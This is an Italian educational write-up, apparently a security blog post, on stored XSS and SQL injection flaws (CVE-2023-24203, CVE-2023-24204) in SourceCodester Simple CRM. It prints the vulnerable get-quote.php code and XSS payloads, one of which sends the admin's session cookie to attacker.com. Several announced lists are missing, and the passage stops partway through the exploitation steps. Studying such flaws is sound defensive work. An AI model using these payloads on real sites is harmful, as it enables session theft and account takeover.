
Analisi educativa di CVE-2023-24203 (XSS memorizzato) e CVE-2023-24204 (SQL injection) in SourceCodester CRM, con passaggi di sfruttamento e strategie di mitigazione.
Nel panorama in continua evoluzione della cybersecurity, le applicazioni web rimangono un obiettivo primario per gli attaccanti che cercano di sfruttare le vulnerabilità. Recentemente, sono state scoperte due vulnerabilità critiche nel SourceCodester Simple Customer Relationship Management (CRM) System v1.0: CVE-2023-24203 e CVE-2023-24204. Queste vulnerabilità, che coinvolgono Cross-Site Scripting (XSS) e SQL Injection, comportano rischi significativi, inclusa l'esecuzione di codice arbitrario e l'accesso non autorizzato. Comprendere queste vulnerabilità e i loro impatti è essenziale per sviluppatori e professionisti della sicurezza per proteggere i sistemi da potenziali minacce.
Cross-Site Scripting (XSS) è un tipo di vulnerabilità che si verifica quando un'applicazione web consente agli utenti di iniettare script dannosi in pagine web visualizzate da altri utenti. Ciò può portare ad azioni non autorizzate per conto dell'utente, furto di dati e ulteriori sfruttamenti. Le vulnerabilità XSS possono essere classificate in tre tipi principali:
SQL Injection è un tipo di vulnerabilità che si verifica quando un attaccante è in grado di manipolare le query SQL iniettando codice SQL arbitrario in una query. Ciò può portare ad accesso non autorizzato, furto di dati e altre attività dannose. La SQL Injection si verifica tipicamente a causa di una validazione insufficiente degli input e della mancanza di query parametrizzate. I principali impatti della SQL Injection includono:
In questo post, approfondiremo CVE-2023-24203 e CVE-2023-24204, esplorando i dettagli di queste vulnerabilità, i loro vettori di attacco, gli impatti e le strategie di mitigazione. Comprendere a fondo queste vulnerabilità è fondamentale per proteggere le vostre applicazioni e i vostri dati da potenziali exploit.
Le vulnerabilità di SQL Injection sono spesso il risultato di una validazione degli input inadeguata e di pratiche di codifica scadenti. Alcune cause comuni includono:
Le vulnerabilità di Cross-Site Scripting (XSS) sono tipicamente causate dalla mancata gestione corretta dell'input e dell'output degli utenti. Le cause comuni includono:
CVE-2023-24203 è una vulnerabilità di Cross-Site Scripting (XSS) memorizzata trovata nel componente get-quote.php del SourceCodester Simple Customer Relationship Management (CRM) System v1.0. Questa vulnerabilità consente a un attaccante di iniettare script dannosi nei parametri company e query, che vengono poi memorizzati nel database ed eseguiti quando vengono visualizzati da un amministratore, portando all'esecuzione di codice arbitrario.
La vulnerabilità risiede nello script get-quote.php, che elabora l'input dell'utente da un modulo di richiesta di preventivo. Il codice sorgente PHP è mostrato di seguito:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
Lo script prende gli input dell'utente dal modulo (name, email, contact, company, services, other e query) e li incorpora direttamente in una query SQL per memorizzare i dati nel database. Mentre l'input services viene sanificato utilizzando mysqli_real_escape_string e addslashes, i parametri company e query non vengono adeguatamente sanificati o codificati quando vengono restituiti nella risposta. Questa mancanza di sanificazione e codifica corretta consente l'iniezione e la memorizzazione di script dannosi nel database.
Per sfruttare questa vulnerabilità, un attaccante può creare un payload che include codice JavaScript dannoso nel parametro company o query. Quando l'amministratore visualizza la richiesta di preventivo, lo script iniettato verrà eseguito nel suo browser.
Inviando il seguente payload nel parametro query:
<script>alert('XSS');</script>
L'attaccante può innescare un attacco XSS quando l'amministratore visualizza la richiesta di preventivo.
È possibile creare un payload più dannoso per rubare i cookie di sessione dell'amministratore. Utilizzando il seguente payload nel parametro query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
L'attaccante può inviare i cookie dell'amministratore a un server remoto controllato dall'attaccante.
Inviare una richiesta di preventivo dannosa: l'attaccante compila il modulo di richiesta di preventivo, iniettando il payload dannoso nel campo company o query.